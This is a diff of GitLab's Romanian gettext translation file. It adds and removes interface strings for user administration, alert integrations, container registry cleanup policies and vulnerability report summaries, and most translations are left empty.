-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -505,6 +502,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -577,21 +577,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr "%{issuableType} va fi eliminat! Esti sigur?"
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -607,9 +613,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -625,13 +628,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -664,9 +667,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr "%{loadingIcon} ÃŽnceput"
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -769,37 +769,13 @@ msgstr[2] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -859,6 +835,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -961,6 +940,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -979,12 +961,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1597,9 +1573,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1948,9 +1921,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2173,6 +2152,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2221,16 +2209,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2257,6 +2248,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2293,6 +2287,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2332,6 +2335,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2341,6 +2353,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2350,6 +2365,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2362,7 +2386,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2575,6 +2605,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2584,9 +2632,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2614,6 +2671,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2626,7 +2689,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2635,27 +2704,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2665,9 +2758,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2677,6 +2767,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2689,6 +2791,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2704,16 +2809,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2818,6 +2944,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2935,9 +3064,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -3058,9 +3184,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3094,16 +3217,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3160,6 +3286,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3187,9 +3316,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3220,6 +3346,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3238,6 +3367,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3424,6 +3556,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3490,6 +3628,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3571,6 +3712,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3622,9 +3766,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3676,6 +3817,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3952,6 +4096,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -4072,6 +4222,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4360,12 +4513,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4390,6 +4549,12 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4441,6 +4606,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4699,9 +4867,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4729,6 +4894,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4825,6 +4993,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4852,6 +5023,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4885,9 +5062,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -5029,6 +5203,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -5047,9 +5224,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5116,6 +5290,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5302,12 +5479,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5341,6 +5512,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5509,7 +5683,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5551,10 +5725,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5602,7 +5776,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5611,9 +5785,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5704,6 +5875,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5812,6 +5986,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -6070,9 +6247,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6175,6 +6349,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6508,7 +6685,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6850,6 +7027,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6973,9 +7153,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7147,6 +7324,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7171,7 +7351,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7201,6 +7381,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7276,6 +7459,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7285,6 +7477,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7309,7 +7510,16 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7318,6 +7528,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7339,21 +7552,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8143,9 +8365,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
